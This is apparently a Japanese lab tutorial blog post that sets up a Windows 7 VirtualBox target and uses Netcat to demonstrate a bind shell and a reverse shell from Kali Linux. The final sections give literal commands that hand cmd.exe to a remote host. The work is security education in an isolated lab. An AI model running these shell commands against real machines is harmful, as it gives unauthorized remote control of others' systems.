【ハッキング・ラボ⑥】Windows7をハッキングする〜Netcat〜

ターゲット端末にWindows7を導入し、初期設定を行います。
さらにNetcatを使ってハッキングをしていきます。
<br>
まとめ記事（①〜⑯をまとめてます）
[【ハッキング・ラボのつくりかた】をやってみた](https://qiita.com/nakatatsu711/items/e90e6e0962bb787bf4a9)



## システム環境
`仮想化ソフト`：VirtualBox 6.1.0
`ホストOS`：Windows10
`ゲストOS1`：Kali Linux 2020.1
`ゲストOS2`：Windows7

攻撃端末はゲストOS1、ターゲット端末はゲストOS2です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS2が10.0.0.102です。



## Windows7の導入
Windows7を導入していきます。
以下のURLからダウンロードします。
[https://archive.org/details/ie8.win7.virtualbox](https://archive.org/details/ie8.win7.virtualbox)

ダウンロードしたzipファイルを展開すると、IE8 - Win7.ovaというovaファイルが入っています。

VirtualBoxを起動し、「ファイル」→「仮想アライアンスのインポート」を選択します。

ダウンロードしたovaファイルを指定して、「次へ」ボタンを押します。

内容に問題がなければ、「インポート」ボタンを押します。
ここでは仮想ディスクイメージを「C:\VM_Guest\VBox\IE8 - Win7\IE8 - Win7-disk1.vmdk」としました。
<img width="600" alt="hacking-lab-part6-1" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/5ff854c1-14d1-021a-d451-b627e3449c8a.jpeg">



## Windows7の初期設定
Windows7の初期設定を行っていきます。


### 仮想LANアダプターの設定
Windows7をターゲット端末として扱うためにホストオンリーネットワークに属するように設定します。

VirtualBoxの「設定」→「ネットワーク」からホストオンリーアダプターを割り当てます。

Windows7は動的IPアドレスで運用します。
仮想マシンを起動し、ipconfigコマンドでIPアドレスが10.0.0.101～10.0.0.254になっていることを確認します。


### Ping応答の設定
Windows7はセキュリティの観点からPingの応答を返さないようになっています。
なおWindows7側からのPingは通ります。
ここではPingの応答を返すように設定します。

「Control Panel」→「System and Security」→「Windows Firewall」→「Advanced settings」→「Inbound Rules」から「File and Printer Sharing（Echo Request - ICMPv4-In）」を右クリックし、「Properties」を選びます。
4つありますが、「Private, Pubric」とあるものだけで構いません。

Enabledにチェックを入れて、「Apply」ボタンを押します。

これでPing応答を返すようになり、通信できることが確認されました。


### Windows Updateの無効化
実験環境では特に必要ないのでWindows Updateは無効化します。

「Control Panel」→「System and Security」→「Windows Update」→「Change settings」→「Import updates」から「Never check for updates (not recommended)」を選び、「OK」ボタンを押します。


### VirtualBox Guest Additionsの適用
操作性向上のためにGuest Additionsを適用します。

仮想マシンメニューの「デバイス」→「Guest Additions CDイメージの挿入」から「Run VBoxWindowsAdditions.exe」を選び、インストールします。


### 日本語キーボードの適用
日本語キーボードを適用します。

まず日本語キーボードのドライバーを設定します。

デバイスマネージャーを起動し、「IE8WIN7」→「Keyboards」→「Standard PS/2 Keybord」→「Driver」→「Update Driver」→「Browse my computer for driver software」から「Let me pick from a list of device drivers on my computer」を選びます。

「Show compatible hardware」のチェックを外し、Manufactureで「(Standard keyboards)」、Modelで「Japanese PS/2 Keybord (106/109 Key Ctrl + Eisuu)」を選び、「Next」ボタンを押します。

「Update Driver Warning」から「Yes」ボタンを押せば完了です。

次にシステムの言語設定を変更します。

「Control Panel」→「Change display language」→「Administrative」→「Change system locale」→「Current system locale」から「Japanese (Japan)」を選び、「OK」ボタンを押せば完了です。

デフォルトで言語がJPになるようにするには、「Control Panel」→「Change display language」→「Region and Language」→「Keyboards and Languages」→「Change keyboards」→「Default input language」から「Japan (Japan) - Microsoft IME」を選び、「OK」ボタンを押せば完了です。

これにより、デフォルトで言語にJPが適用されるようになります。
<img width="600" alt="hacking-lab-part6-2" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/bae14b2b-7293-0a14-9e8d-dd61fc629178.jpeg">


### Sysinternals Suiteのインストール
システム情報等を扱うのに便利なSysinternals Suiteをインストールします。

ホストOS側で以下のURLからダウンロードし、Windows7に送付します。
[https://docs.microsoft.com/en-us/sysinternals/downloads/](https://docs.microsoft.com/en-us/sysinternals/downloads/)

事前に仮想マシンメニューの「デバイス」→「ドラッグ＆ドロップ」から「双方向」に設定しておき、ドラッグ＆ドロップでファイルをコピーします。

SysinternalsSuite.zipファイルを展開し、Autoruns.exeを起動します。

実験後に比較を行うために、初期状態を保存しておきます。
「File」→「Save」からAutoruns_Baseline_20200511.armのようなファイル名で保存します。



## Netcatを使ってハッキングをする
Netcatはネットワークを介してデータを送受信するツールで、ネットワークを扱う万能ツールとしても知られています。
これを使用してハッキングを行います。


### インストール
Windows7にはデフォルトでNetcatがインストールされていません。
以下のURLからダウンロードします。
[https://joncraton.org/blog/46/netcat-for-windows/](https://joncraton.org/blog/46/netcat-for-windows/)

ダウンロードはSysinternals Suiteと同じ方法で行います。
ここではC:\Workフォルダに保存しました。


### バインドシェル
バインドシェルとは攻撃端末からターゲット端末に接続するタイプのシェルのことです。

Windows7で以下のコマンドを入力し、待ち受け状態にします。
ポート5555で待ち受け、接続したらコマンドプロンプトにリダイレクトします。

```
> cd C:\Work\nc111nt
> nc.exe -lvp 5555 -e cmd.exe
```

この状態でKali Linuxから以下のコマンドを入力し、Windwos7に接続します。
ここではWindows7のIPアドレスは10.0.0.102です。

```
$ nc 10.0.0.102 5555
```

成功すればプロンプトが表示され、コマンドを実行できるようになります。
つまり、遠隔操作できるようになるというわけです。
<img width="600" alt="hacking-lab-part6-3" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/17fa5e67-de09-4827-366f-dba8baab5ca9.jpeg">
<img width="600" alt="hacking-lab-part6-4" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/3e711ace-e237-a6a1-e89d-c2dfb507f188.jpeg">


### リバースシェル
バインドシェルの問題点として、ファイアウォールやルーター等にブロックされやすいことが挙げられます。
これはファイアウォールやルーター等がインバウンドを制限しているためです。

これを解決する方法として、リバースシェルがあります。
リバースシェルはターゲット端末から攻撃端末に接続するタイプのシェルのことです。

ファイアウォールやルーター等はアウトバウンドが緩く、ブロックされにくくなると考えられます。
<img width="600" alt="hacking-lab-part6-5" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/5270684b-395e-a659-c34d-257861f7718e.jpeg">

Kali Linuxで以下のコマンドを入力し、待ち受け状態にします。
ポート5555で待ち受けます。

```
$ nc -lvp 5555
```

この状態でWindows7から以下のコマンドを入力し、Kali Linuxに接続します。

```
> cd C:\Work\nc111nt
> nc.exe 10.0.0.2 5555 -e cmd.exe
```

成功すればプロンプトが表示され、コマンドを実行できるようになります。
<img width="600" alt="hacking-lab-part6-6" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/215525d6-25ca-b40d-91a7-7b8be24b284d.jpeg">
<img width="600" alt="hacking-lab-part6-7" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/898aeb68-cd07-ef66-0dad-77a9b2d0f5b9.jpeg">